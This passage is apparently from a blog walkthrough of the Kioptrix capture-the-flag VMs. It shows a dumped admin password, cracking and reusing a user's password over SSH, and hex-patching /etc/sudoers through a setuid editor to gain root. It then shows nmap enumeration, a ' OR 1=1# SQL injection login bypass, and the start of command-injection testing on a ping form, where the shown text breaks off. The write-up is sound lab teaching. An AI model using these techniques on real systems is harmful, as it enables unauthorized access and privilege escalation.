| userid | username | password | usertype  | firstname | lastname | email | datejoined | website | issuperuser | photo | joincode |
+--------+----------+----------+-----------+-----------+----------+-------+------------+---------+-------------+-------+----------+
|      1 | admin    | n0t7t1k4 | superuser | Super     | User     |       | 1302628616 |         |           1 |       |          | 
+--------+----------+----------+-----------+-----------+----------+-------+------------+---------+-------------+-------+----------+
1 row in set (0.00 sec)

Most interesting here is the password hash for loneferret in the dev_accounts table. Users are known to reuse passwords, so if we can crack this hash, we may be able to use the password to SSH to the target as the loneferret user.

Password Hash Cracking

Instead of cracking locally, let's see if any of the online hash-crackers can help us:

Awesome, CrackStation was able to easily crack loneferret's password.

Becoming loneferret

We now have the lonferret user's Gallerific web application password, but that doesn't seem to help us much in getting root on the box. However, maybe the user reused the same password for his local account on the server. Let's find out:

root@kali:~# ssh loneferret@172.16.2.132
loneferret@172.16.2.132's password: [starwars]
Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686
[... snip ...]
loneferret@Kioptrix3:~$ whoami
loneferret

loneferret@Kioptrix3:~$ id
uid=1000(loneferret) gid=100(users) groups=100(users)

loneferret@Kioptrix3:~$ sudo -l
User loneferret may run the following commands on this host:
    (root) NOPASSWD: !/usr/bin/su
    (root) NOPASSWD: /usr/local/bin/ht

Very nice, loneferret did in fact reuse his password so we are able to SSH to the server using his accounnt. This is an example of why password reuse is bad.

We can also see that loneferret is able to run the ht application as root using the sudo command, but cannot run anything else using sudo. If you remember what we found out about the ht program earlier, you will recognize that being able to run ht as root via sudo is somewhat moot, as the file is world-executable, is owned by root, and has the setuid bit turned on. This means running when we execute ht, even without sudo, the program will be running as root. There are some cases where sudo ht will let us edit files ht can't but either way will get us root.

Getting root

Since ht is an editor and we are able to use it to edit any file as root, we have a lot of options here for privilege escalation. We can now access /etc/shadow by running sudo ht /etc/shadow, but let's try something else instead. We will go after sudo itself.

From our enumeration, we know there are entries in the /etc/sudoers for the loneferret user. To get root, we will update /etc/sudoers to allow us to run everything with sudo, including su (i.e. sudo su -).

Let's edit the file:

loneferret@Kioptrix3:~$ ls -l /etc/sudoers
-r--r----- 1 root root 614 2017-09-10 20:29 /etc/sudoers

loneferret@Kioptrix3:~$ cat /etc/sudoers
cat: /etc/sudoers: Permission denied

loneferret@Kioptrix3:~$ ht /etc/sudoers
Error opening terminal: xterm-256color.

loneferret@Kioptrix3:~$ export TERM=xterm
loneferret@Kioptrix3:~$ ht /etc/sudoers

loneferret@Kioptrix3:~$ ht /etc/sudoers

Even though we shouldn't have permission to read the sudoers file, using the setuid / setgid ht executable, we are able to load the file.

Now let's do some hex patching. We want to change

│00000130 65 66 65 72 72 65 74 20-41 4c 4c 3d 4e 4f 50 41 |eferret ALL=NOPA|│
│00000140 53 53 57 44 3a 20 21 2f-75 73 72 2f 62 69 6e 2f |SSWD: !/usr/bin/|│
│00000150 73 75 2c 20 2f 75 73 72-2f 6c 6f 63 61 6c 2f 62 |su, /usr/local/b|│
│00000160 69 6e 2f 68 74 0a 0a 23-20 55 6e 63 6f 6d 6d 65 |in/ht??# Uncomme||

loneferret ALL=NOPASSWD: !/usr/bin/su, /usr/local/bin/ht

│00000130 65 66 65 72 72 65 74 20-41 4c 4c 3d 28 41 4c 4c |eferret ALL=(ALL|│
│00000140 29 20 41 4c 4c 0a 23 2f-75 73 72 2f 62 69 6e 2f |) ALL?#/usr/bin/|│
│00000150 73 75 2c 20 2f 75 73 72-2f 6c 6f 63 61 6c 2f 62 |su, /usr/local/b|│
│00000160 69 6e 2f 68 74 0a 0a 23-20 55 6e 63 6f 6d 6d 65 |in/ht??# Uncomme|│

loneferret ALL=(ALL) ALL
#/usr/bin/su, /usr/local/bin/ht

This will effectively give us full, root access to the target, as we will be able to run any command as root using sudo.

Let's make the change and save the file using ht:

After saving the file, let's see if we win:

loneferret@Kioptrix3:~$ sudo -l
[sudo] password for loneferret: 
User loneferret may run the following commands on this host:
    (ALL) ALL

loneferret@Kioptrix3:~$ sudo su -

root@Kioptrix3:~# whoami
root

root@Kioptrix3:~# id
uid=0(root) gid=0(root) groups=0(root)
root@Kioptrix3:~#

Woot, woot! There is is, we have a root shell on our target!

Enumerating Goodies

Now that we are root, let's see what we can find on the box:

root@Kioptrix3:~# cd /root

root@Kioptrix3:~# ls -l
total 16
-rw-r--r--  1 root root  1327 2011-04-16 08:13 Congrats.txt
drwxr-xr-x 12 root root 12288 2011-04-16 07:26 ht-2.0.18

root@Kioptrix3:~# cat Congrats.txt 
Good for you for getting here.
Regardless of the matter (staying within the spirit of the game of course)
you got here, congratulations are in order. Wasn't that bad now was it.

Went in a different direction with this VM. Exploit based challenges are
nice. Helps workout that information gathering part, but sometimes we
need to get our hands dirty in other things as well.
Again, these VMs are beginner and not intented for everyone. 
Difficulty is relative, keep that in mind.

The object is to learn, do some research and have a little (legal)
fun in the process.


I hope you enjoyed this third challenge.

Steven McElrea
aka loneferret
http://www.kioptrix.com


Credit needs to be given to the creators of the gallery webapp and CMS used
for the building of the Kioptrix VM3 site.

Main page CMS: 
http://www.lotuscms.org

Gallery application: 
Gallarific 2.1 - Free Version released October 10, 2009
http://www.gallarific.com
Vulnerable version of this application can be downloaded
from the Exploit-DB website:
http://www.exploit-db.com/exploits/15891/

The HT Editor can be found here:
http://hte.sourceforge.net/downloads.html
And the vulnerable version on Exploit-DB here:
http://www.exploit-db.com/exploits/17083/


Also, all pictures were taken from Google Images, so being part of the
public domain I used them.

Conclusion

Well, that's it for this challenge. However, looking back on where we ended up, I am almost certain there are other ways to crack this VM. For example, I imagine there is a SQL injection I missed on the web application that would have led us to the loneferret password hash in the database without first exploiting the LotusCMS RCE vulnerability. I might go back and try to find this later. Alternatively if there was another way to find the loneferret username, an SSH brute force using the rockyou password list would have been successful:

root@kali:~# grep ^starwars$ /usr/share/wordlists/rockyou.txt 
starwars

This just goes to show, both on challenge VMs and real world servers, there is usually more than one way to pop the box.

Until next time, stay root my friends!

Kioptrix: Level 1.1 (#2) Walkthrough

rootshellz — Thu, 24 Aug 2017 06:57:09 GMT

Intro

In this post, I will continue hacking on the Kioptrix series of VMs. In the last post, I covered Kioptrix1. In this post, I will be working my way through Kioptrix1.1, which is the second VM in the series. The VulnHub page for the challenge states that, "[the] first release had a bug in it with the web application," so I have opted to hack on the updated version. While a major part these challenges is to find and exploit bugs, I don't want to be fighting unintentional bugs in the challenge VM.

I have downloaded and booted the VM on a local network. Let's begin.

Pre-Hack

Where you at?

First, we need to identify what address the VM grabbed from DHCP:

root@kali:~# nmap -T4 -sn 172.16.2.0/24

Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2017-08-13 19:15 PDT
Nmap scan report for 172.16.2.1
Host is up (0.00016s latency).
MAC Address: 00:50:56:C0:00:02 (VMware)
Nmap scan report for 172.16.2.131
Host is up (0.00016s latency).
MAC Address: 00:0C:29:AF:63:7A (VMware)
Nmap scan report for 172.16.2.254
Host is up (0.000086s latency).
MAC Address: 00:50:56:F5:96:F6 (VMware)
Nmap scan report for 172.16.2.129
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 12.97 seconds

Looks like my Kioptrix1.1 VM is 172.16.2.131.

Whatcha got?

Now, let's see what this box is running.

root@kali:~# nmap -T4 -Pn -sV -O -p- 172.16.2.131

Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2017-08-13 19:20 PDT
Nmap scan report for 172.16.2.131
Host is up (0.00032s latency).
Not shown: 65528 closed ports
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 3.9p1 (protocol 1.99)
80/tcp   open  http     Apache httpd 2.0.52 ((CentOS))
111/tcp  open  rpcbind  2 (RPC #100000)
443/tcp  open  ssl/http Apache httpd 2.0.52 ((CentOS))
631/tcp  open  ipp      CUPS 1.1
774/tcp  open  status   1 (RPC #100024)
3306/tcp open  mysql    MySQL (unauthorized)
MAC Address: 00:0C:29:AF:63:7A (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.30
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.93 seconds

But wait, we can't forget about UDP! Some easy exploits have surely been missed in the past by neglecting to scan UDP.

root@kali:~# nmap -T4 -Pn -sU --top-ports 200 -sV -O 172.16.2.131

Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2017-08-13 19:25 PDT
Warning: 172.16.2.131 giving up on port because retransmission cap hit (6).
Nmap scan report for 172.16.2.131
Host is up (0.00033s latency).
Not shown: 177 closed ports
PORT      STATE         SERVICE           VERSION
42/udp    open|filtered nameserver
68/udp    open|filtered dhcpc
80/udp    open|filtered http
88/udp    open|filtered kerberos-sec
111/udp   open          rpcbind           2 (RPC #100000)
136/udp   open|filtered profile
497/udp   open|filtered retrospect
514/udp   open|filtered syslog
515/udp   open|filtered printer
520/udp   open|filtered route
631/udp   open|filtered ipp
800/udp   open|filtered mdbs_daemon
1034/udp  open|filtered activesync-notify
2002/udp  open|filtered globe
5632/udp  open|filtered pcanywherestat
6001/udp  open|filtered X11:1
32768/udp open|filtered omad
32772/udp open|filtered sometimes-rpc8
49168/udp open|filtered unknown
49186/udp open|filtered unknown
49190/udp open|filtered unknown
49192/udp open|filtered unknown
49200/udp open|filtered unknown
MAC Address: 00:0C:29:AF:63:7A (VMware)
Too many fingerprints match this host to give specific OS details
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 283.99 seconds

Great, so looks like another Linux box (which we already knew from watching the boot process). The machine is running old versions of both OpenSSH and Apache. It also has MySQL and the service is exposed over the network. A few RPC ports and a printing service are also exposed.

Digging Deeper

Let's scan and enumerate a bit more before we start attempting to exploit anything.

First, let's see what else we can find out about Apache on 80/tcp and 443/tcp. To do this, I'll throw my favorite HTTP and SSL/TLS nmap scripts at the box's web ports.

Apache HTTP/S Enumeration

root@kali:~# nmap -T4 -Pn -p 80,443 --script=http-apache-negotiation.nse,http-apache-server-status.nse,http-backup-finder.nse,http-coldfusion-subzero.nse,http-comments-displayer.nse,http-config-backup.nse,http-csrf.nse,http-default-accounts.nse,http-devframework.nse,http-dombased-xss.nse,http-drupal-enum.nse,http-drupal-enum-users.nse,http-enum.nse,http-git.nse,http-headers.nse,http-iis-short-name-brute.nse,http-iis-webdav-vuln.nse,http-mcmp.nse,http-methods.nse,http-method-tamper.nse,http-mobileversion-checker.nse,http-open-proxy.nse,http-open-redirect.nse,http-passwd.nse,http-phpmyadmin-dir-traversal.nse,http-phpself-xss.nse,http-php-version.nse,http-proxy-brute.nse,http-robots.txt.nse,http-shellshock.nse,http-sitemap-generator.nse,http-sql-injection.nse,http-stored-xss.nse,http-title.nse,http-unsafe-output-escaping.nse,http-userdir-enum.nse,http-vhosts.nse,http-vuln-cve2006-3392.nse,http-vuln-cve2009-3960.nse,http-vuln-cve2010-0738.nse,http-vuln-cve2010-2861.nse,http-vuln-cve2011-3192.nse,http-vuln-cve2011-3368.nse,http-vuln-cve2012-1823.nse,http-vuln-cve2013-0156.nse,http-vuln-cve2013-6786.nse,http-vuln-cve2013-7091.nse,http-vuln-cve2014-2126.nse,http-vuln-cve2014-2127.nse,http-vuln-cve2014-2128.nse,http-vuln-cve2014-2129.nse,http-vuln-cve2014-3704.nse,http-vuln-cve2014-8877.nse,http-vuln-cve2015-1427.nse,http-vuln-cve2015-1635.nse,http-waf-detect.nse,http-waf-fingerprint.nse,http-webdav-scan.nse,http-wordpress-enum.nse,http-wordpress-users.nse,http-xssed.nse,membase-http-info.nse,rmi-vuln-classloader.nse,ssl-ccs-injection.nse,ssl-cert.nse,ssl-date.nse,ssl-dh-params.nse,ssl-enum-ciphers.nse,ssl-google-cert-catalog.nse,ssl-heartbleed.nse,ssl-known-key.nse,ssl-poodle.nse,sslv2-drown.nse,sslv2.nse,tls-nextprotoneg.nse 172.16.2.131

Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2017-08-13 19:34 PDT
Nmap scan report for 172.16.2.131
Host is up (0.00024s latency).
PORT    STATE SERVICE
80/tcp  open  http
| http-comments-displayer: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=172.16.2.131
|     
|     Path: http://172.16.2.131/index.php
|     Line number: 28
|     Comment: 
|_        
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=172.16.2.131
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://172.16.2.131:80/
|     Form id: frmlogin
|     Form action: index.php
|     
|     Path: http://172.16.2.131/index.php
|     Form id: frmlogin
|_    Form action: index.php
|_http-devframework: Couldn't determine the underlying framework or CMS. Try increasing 'httpspider.maxpagecount' value to spider more pages.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /icons/: Potentially interesting directory w/ listing on 'apache/2.0.52 (centos)'
|_  /manual/: Potentially interesting folder
| http-headers: 
|   Date: Fri, 18 Aug 2017 01:28:21 GMT
|   Server: Apache/2.0.52 (CentOS)
|   X-Powered-By: PHP/4.3.9
|   Connection: close
|   Content-Type: text/html; charset=UTF-8
|   
|_  (Request type: HEAD)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-mobileversion-checker: No mobile version detected.
| http-php-version: Versions from credits query (more accurate): 4.3.9 - 4.3.11
|_Version from header x-powered-by: PHP/4.3.9
| http-sitemap-generator: 
|   Directory structure:
|     /
|       Other: 1; php: 1
|   Longest directory structure:
|     Depth: 0
|     Dir: /
|   Total files found (by extension):
|_    Other: 1; php: 1
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-vhosts: 
|_127 names had status 200
|_http-xssed: No previously reported XSS vuln.
443/tcp open  https
| http-comments-displayer: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=172.16.2.131
|     
|     Path: https://172.16.2.131/index.php
|     Line number: 28
|     Comment: 
|_        
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=172.16.2.131
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: https://172.16.2.131:443/
|     Form id: frmlogin
|     Form action: index.php
|     
|     Path: https://172.16.2.131/index.php
|     Form id: frmlogin
|_    Form action: index.php
|_http-devframework: Couldn't determine the underlying framework or CMS. Try increasing 'httpspider.maxpagecount' value to spider more pages.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /icons/: Potentially interesting directory w/ listing on 'apache/2.0.52 (centos)'
|_  /manual/: Potentially interesting folder
| http-headers: 
|   Date: Fri, 18 Aug 2017 01:28:22 GMT
|   Server: Apache/2.0.52 (CentOS)
|   X-Powered-By: PHP/4.3.9
|   Connection: close
|   Content-Type: text/html; charset=UTF-8
|   
|_  (Request type: HEAD)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-mobileversion-checker: No mobile version detected.
| http-php-version: Versions from credits query (more accurate): 4.3.9 - 4.3.11
|_Version from header x-powered-by: PHP/4.3.9
| http-sitemap-generator: 
|   Directory structure:
|     /
|       Other: 1; php: 1
|   Longest directory structure:
|     Depth: 0
|     Dir: /
|   Total files found (by extension):
|_    Other: 1; php: 1
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-title: 416 Requested Range Not Satisfiable
| http-vhosts: 
|_127 names had status 200
| http-waf-detect: IDS/IPS/WAF detected:
|_172.16.2.131:443/?p4yl04d3=
|_http-xssed: No previously reported XSS vuln.
| ssl-ccs-injection: 
|   VULNERABLE:
|   SSL/TLS MITM vulnerability (CCS Injection)
|     State: VULNERABLE
|     Risk factor: High
|       OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h
|       does not properly restrict processing of ChangeCipherSpec messages,
|       which allows man-in-the-middle attackers to trigger use of a zero
|       length master key in certain OpenSSL-to-OpenSSL communications, and
|       consequently hijack sessions or obtain sensitive information, via
|       a crafted TLS handshake, aka the "CCS Injection" vulnerability.
|           
|     References:
|       http://www.cvedetails.com/cve/2014-0224
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224
|_      http://www.openssl.org/news/secadv_20140605.txt
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Issuer: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Public Key type: rsa
| Public Key bits: 1024.0
| Signature Algorithm: md5WithRSAEncryption
| Not valid before: 2009-10-08T00:10:47
| Not valid after:  2010-10-08T00:10:47
| MD5:   01de 29f9 fbfb 2eb2 beaf e624 3157 090f
|_SHA-1: 560c 9196 6506 fb0f fb81 66b1 ded3 ac11 2ed4 808a
|_ssl-date: 2017-08-18T01:28:19+00:00; +3d22h53m44s from scanner time.
| ssl-dh-params: 
|   VULNERABLE:
|   Transport Layer Security (TLS) Protocol DHE_EXPORT Ciphers Downgrade MitM (Logjam)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2015-4000  OSVDB:122331
|       The Transport Layer Security (TLS) protocol contains a flaw that is
|       triggered when handling Diffie-Hellman key exchanges defined with
|       the DHE_EXPORT cipher. This may allow a man-in-the-middle attacker
|       to downgrade the security of a TLS session to 512-bit export-grade
|       cryptography, which is significantly weaker, allowing the attacker
|       to more easily break the encryption and monitor or tamper with
|       the encrypted stream.
|     Disclosure date: 2015-5-19
|     Check results:
|       EXPORT-GRADE DH GROUP 1
|             Cipher Suite: TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
|             Modulus Type: Safe prime
|             Modulus Source: mod_ssl 2.0.x/512-bit MODP group with safe prime modulus
|             Modulus Length: 512
|             Generator Length: 8
|             Public Key Length: 512
|     References:
|       http://osvdb.org/122331
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4000
|       https://weakdh.org
|   
|   Diffie-Hellman Key Exchange Insufficient Group Strength
|     State: VULNERABLE
|       Transport Layer Security (TLS) services that use Diffie-Hellman groups
|       of insufficient strength, especially those using one of a few commonly
|       shared groups, may be susceptible to passive eavesdropping attacks.
|     Check results:
|       WEAK DH GROUP 1
|             Cipher Suite: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
|             Modulus Type: Safe prime
|             Modulus Source: mod_ssl 2.0.x/1024-bit MODP group with safe prime modulus
|             Modulus Length: 1024
|             Generator Length: 8
|             Public Key Length: 1024
|     References:
|_      https://weakdh.org
| ssl-enum-ciphers: 
|   SSLv3: 
|     ciphers: 
|       TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA - E
|       TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA (dh 1024) - F
|       TLS_DHE_RSA_WITH_AES_128_CBC_SHA (dh 1024) - F
|       TLS_DHE_RSA_WITH_AES_256_CBC_SHA (dh 1024) - F
|       TLS_DHE_RSA_WITH_DES_CBC_SHA (dh 1024) - F
|       TLS_RSA_EXPORT_WITH_DES40_CBC_SHA - E
|       TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5 - E
|       TLS_RSA_EXPORT_WITH_RC4_40_MD5 - E
|       TLS_RSA_WITH_3DES_EDE_CBC_SHA - F
|       TLS_RSA_WITH_AES_128_CBC_SHA - F
|       TLS_RSA_WITH_AES_256_CBC_SHA - F
|       TLS_RSA_WITH_DES_CBC_SHA - F
|       TLS_RSA_WITH_RC4_128_MD5 - F
|       TLS_RSA_WITH_RC4_128_SHA - F
|     compressors: 
|       NULL
|     cipher preference: client
|     warnings: 
|       64-bit block cipher 3DES vulnerable to SWEET32 attack
|       64-bit block cipher DES vulnerable to SWEET32 attack
|       64-bit block cipher DES40 vulnerable to SWEET32 attack
|       64-bit block cipher RC2 vulnerable to SWEET32 attack
|       Broken cipher RC4 is deprecated by RFC 7465
|       CBC-mode cipher in SSLv3 (CVE-2014-3566)
|       Ciphersuite uses MD5 for message integrity
|       Insecure certificate signature: MD5
|   TLSv1.0: 
|     ciphers: 
|       TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA - E
|       TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA (dh 1024) - F
|       TLS_DHE_RSA_WITH_AES_128_CBC_SHA (dh 1024) - F
|       TLS_DHE_RSA_WITH_AES_256_CBC_SHA (dh 1024) - F
|       TLS_DHE_RSA_WITH_DES_CBC_SHA (dh 1024) - F
|       TLS_RSA_WITH_3DES_EDE_CBC_SHA - F
|       TLS_RSA_WITH_AES_128_CBC_SHA - F
|       TLS_RSA_WITH_AES_256_CBC_SHA - F
|       TLS_RSA_WITH_DES_CBC_SHA - F
|       TLS_RSA_WITH_RC4_128_MD5 - F
|       TLS_RSA_WITH_RC4_128_SHA - F
|     compressors: 
|       NULL
|     cipher preference: client
|     warnings: 
|       64-bit block cipher 3DES vulnerable to SWEET32 attack
|       64-bit block cipher DES vulnerable to SWEET32 attack
|       64-bit block cipher DES40 vulnerable to SWEET32 attack
|       Broken cipher RC4 is deprecated by RFC 7465
|       Ciphersuite uses MD5 for message integrity
|       Insecure certificate signature: MD5
|_  least strength: F
| ssl-google-cert-catalog: 
|_  No DB entry
| ssl-poodle: 
|   VULNERABLE:
|   SSL POODLE information leak
|     State: VULNERABLE
|     IDs:  CVE:CVE-2014-3566  OSVDB:113251
|           The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other
|           products, uses nondeterministic CBC padding, which makes it easier
|           for man-in-the-middle attackers to obtain cleartext data via a
|           padding-oracle attack, aka the "POODLE" issue.
|     Disclosure date: 2014-10-14
|     Check results:
|       TLS_RSA_WITH_AES_128_CBC_SHA
|     References:
|       http://osvdb.org/113251
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566
|       https://www.openssl.org/~bodo/ssl-poodle.pdf
|_      https://www.imperialviolet.org/2014/10/14/poodle.html
| sslv2: 
|   SSLv2 supported
|   ciphers: 
|     SSL2_RC4_128_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_RC4_64_WITH_MD5
|_    SSL2_RC2_128_CBC_WITH_MD5
| sslv2-drown: 
|   ciphers: 
|     SSL2_RC4_128_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_RC4_64_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|   vulns: 
|     CVE-2016-0703: 
|       title: OpenSSL: Divide-and-conquer session key recovery in SSLv2
|       state: VULNERABLE
|       ids: 
|         CVE:CVE-2016-0703
|       description: 
|               The get_client_master_key function in s2_srvr.c in the SSLv2 implementation in
|       OpenSSL before 0.9.8zf, 1.0.0 before 1.0.0r, 1.0.1 before 1.0.1m, and 1.0.2 before
|       1.0.2a accepts a nonzero CLIENT-MASTER-KEY CLEAR-KEY-LENGTH value for an arbitrary
|       cipher, which allows man-in-the-middle attackers to determine the MASTER-KEY value
|       and decrypt TLS ciphertext data by leveraging a Bleichenbacher RSA padding oracle, a
|       related issue to CVE-2016-0800.
|     
|       refs: 
|         https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0703
|         https://www.openssl.org/news/secadv/20160301.txt
|     CVE-2016-0800: 
|       title: OpenSSL: Cross-protocol attack on TLS using SSLv2 (DROWN)
|       state: VULNERABLE
|       ids: 
|         CVE:CVE-2016-0800
|       description: 
|               The SSLv2 protocol, as used in OpenSSL before 1.0.1s and 1.0.2 before 1.0.2g and
|       other products, requires a server to send a ServerVerify message before establishing
|       that a client possesses certain plaintext RSA data, which makes it easier for remote
|       attackers to decrypt TLS ciphertext data by leveraging a Bleichenbacher RSA padding
|       oracle, aka a "DROWN" attack.
|     
|       refs: 
|         https://www.openssl.org/news/secadv/20160301.txt
|_        https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0800
MAC Address: 00:0C:29:AF:63:7A (VMware)

Nmap done: 1 IP address (1 host up) scanned in 67.70 seconds

So admittedly, I kind of threw the "kitchen sink" at these services so a lot of what I got back is not relevant here. For example, getting SSL MiTM or CSRF is not going to help us get root on the box in this case. At any rate, I like running my full list of enumeration scripts for each service as it gives me a good overall feel for what is running and the state of the service. For this challenge, we can simply ignore the noise.

What does stand out on this service are some URLs to check out, an interesting comment in the source to investigate further, an outdated PHP version, and a WAF supposedly being detected. We will circle back to these items in a bit. At this point, I would usually also start a directory brute force, but I'm going to hold off for now unless none of the above pan out.

RPC Enumeration

Working my way down the services list, let's next see what we can find out about / from the RPC services. I'll once again turn to nmap scripts.

root@kali:~# nmap -T4 -Pn -p 111,774 -sV --script=msrpc-enum.nse,rpc-grind.nse,rpcinfo.nse 172.16.2.131

Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2017-08-13 20:04 PDT
Nmap scan report for 172.16.2.131
Host is up (0.00021s latency).
PORT    STATE SERVICE VERSION
111/tcp open  rpcbind 2 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2            111/tcp  rpcbind
|   100000  2            111/udp  rpcbind
|   100024  1            771/udp  status
|_  100024  1            774/tcp  status
774/tcp open  status  1 (RPC #100024)
MAC Address: 00:0C:29:AF:63:7A (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.18 seconds

root@kali:~# nmap -T4 -Pn -sU -p 111 --script=msrpc-enum.nse,rpc-grind.nse,rpcinfo.nse 172.16.2.131

Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2017-08-13 20:09 PDT
Nmap scan report for 172.16.2.131
Host is up (0.00022s latency).
PORT    STATE SERVICE
111/udp open  rpcbind
| rpcinfo: 
|   program version   port/proto  service
|   100000  2            111/tcp  rpcbind
|   100000  2            111/udp  rpcbind
|   100024  1            771/udp  status
|_  100024  1            774/tcp  status
MAC Address: 00:0C:29:AF:63:7A (VMware)

Nmap done: 1 IP address (1 host up) scanned in 5.88 seconds

Well, there's not a whole lot to see there. We'll leave this service alone for now.

MySQL Enumeration

Finally, let's see what we can find out about the MySQL instance running on 3306/tcp. How will we learn about this service, you ask? Why more nmap script scanning of course!

root@kali:~# nmap -T4 -Pn -p 3306 --script=mysql-info.nse,mysql-enum.nse,mysql-audit.nse,mysql-users.nse,mysql-empty-password.nse,mysql-vuln-cve2012-2122.nse 172.16.2.131

Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2017-08-13 20:11 PDT
Nmap scan report for 172.16.2.131
Host is up (0.00023s latency).
PORT     STATE SERVICE
3306/tcp open  mysql
|_mysql-empty-password: Host '172.16.2.129' is not allowed to connect to this MySQL server
| mysql-enum: 
|   Accounts: No valid accounts found
|_  Statistics: Performed 10 guesses in 1 seconds, average tps: 10.0
|_mysql-vuln-cve2012-2122: ERROR: Script execution failed (use -d to debug)
MAC Address: 00:0C:29:AF:63:7A (VMware)

The database doesn't seem to be giving up it's secrets that easily. Not a whole lot learned here. We can circle back if we hit a wall further down.

Game Time

Man, all that scanning made me hungry. I can't wait to eat some rootshellz. Judging by the enumeration we just did, it seems like this is intended to be a web challenge. Let's go poke at it.

Apache

We learned from our scanning above that Apache is running on ports 80/tcp and 443/tcp and we have a handful of things to go check out. Since this is just one web web property, we'll go start at this manually in a browser. If we had a larger scope, we would definitely want to script a few more things before we proceeded — things like like screenshots of the identified URLs, source downloads, and URL spidering.

To check things out, we'll proxy FireFox through Burp and turn off intercept for now. When we browse to out target at http://172.16.2.131, we are greeted with a simple looking login form:

Browsing to https://172.16.2.131 simply loads an HTTPS version of the same login form.

When we view the source, we see that the interesting comment we saw in the nmap output is actually nothing to get excited about, it was just a place holder and not actually marking anything sensitive.




  
    
      
      Remote System Administration Login
      
    
    
      Username
      
    
    
      Password

A few things cross my mind at this point: I can guess some easy passwords (à la admin:admin), I can run a full on, scripted, brute-force password guessing attack, or I can try to find a SQL injection. Alternatively, I could just to a brute-force directory scan and see if I can find any other URLs to poke at.

Password Guessing

I think we should try a few quick guesses and then go for SQLi. Let guess:

blank:blank - Nope
admin:blank - Nope
admin:admin - Nope
admin:password - Nope
admin:pass - Nope
admin:123456
admin:qwerty
Tried all those with root as the user - Nope

Okay, with all of those out of the way and unsuccessful, let's move on to attempting SQLi. If we want to guess more passwords later, we can fire up a full-on brute force.

SQL Injection

We know from our intercepting proxy that the posted login data looks like this:
uname=admin&psw=123456&btnLogin=Login

We also know the backend is running PHP and MySQL. Thus, it is possible the backend authentication routine does a lookup similar to:
SELECT * FROM Users WHERE Username='$uname' AND Password='$psw'

Working off of this first hunch, what if we submit something like ' OR 1=1#? If our assumption about the back end code is correct, this will result in something like this:
SELECT * FROM Users WHERE Username='admin' AND Password='' OR 1=1#'

Let's see if this works...

Awesome our hunch was correct, we successfully bypassed authentication.

Command Injection

Testing out the "Ping a Machine on the Network" functionality, it looks like the ip parameter posted to /pingit.php, is simply passed to the system's ping command (ping -c3 ip).

The request:

POST /pingit.php HTTP/1.1
Host: 172.16.2.131
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://172.16.2.131/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
Connection: close
Upgrade-Insecure-Requests: 1

ip=127.0.0.1&submit=submit

and the response:

